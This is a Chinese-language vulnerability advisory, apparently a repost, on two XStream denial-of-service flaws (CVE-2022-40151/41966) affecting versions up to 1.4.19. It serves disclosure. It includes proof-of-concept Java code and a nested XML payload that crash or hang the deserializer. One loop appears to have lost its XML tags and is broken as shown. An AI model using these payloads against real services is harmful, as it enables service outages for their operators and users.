XStream 多个拒绝服务漏洞及POC
CVE-2022-40151/41966
XStream是Java类库，用来将对象序列化成XML （JSON）或反序列化为对象。XStream是自由软件，可以在BSD许可证的许可下分发。
日前，XStream官方通报XStream两个拒绝服务漏洞，分别为CVE-2022-40151和CVE-2022-41966，漏洞影响1.4.19及以前的XStream版本，漏洞等级高危。
NO.1
漏洞描述
<dependency><groupId>com.thoughtworks.xstream</groupId><artifactId>xstream</artifactId><version>1.4.18</version></dependency>
import com.thoughtworks.xstream.XStream;package org.example;import com.thoughtworks.xstream.XStream;public class Main {public static void main(String[] args) {String xml = new String();int i = 0;for( ; i < 10000; ++i) {xml += "";}for( ; i > 0; --i) {xml += "";}XStream xstream = new XStream();xstream.fromXML(xml);}}
xml = "<set>n" +" <set>n" +" <set>n" +" <set>n" +" <set>n" +" <set>n" +" <set>n" +" <string>a</string>n" +" </set>n" +" <set>n" +" <string>b</string>n" +" </set>n" +" </set>n" +" <set>n" +" <string>c</string>n" +" <set reference='../../../set/set[2]'/>n" +" </set>n" +" </set>n" +" </set>n" +" </set>n" +" </set>n" +"</set>";
NO.2
漏洞影响范围
XStream <= 1.4.19
NO.3
修复方案
NO.4
参考链接
原文始发于微信公众号（锋刃科技）：XStream 拒绝服务漏洞（CVE-2022-40151/41966）
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论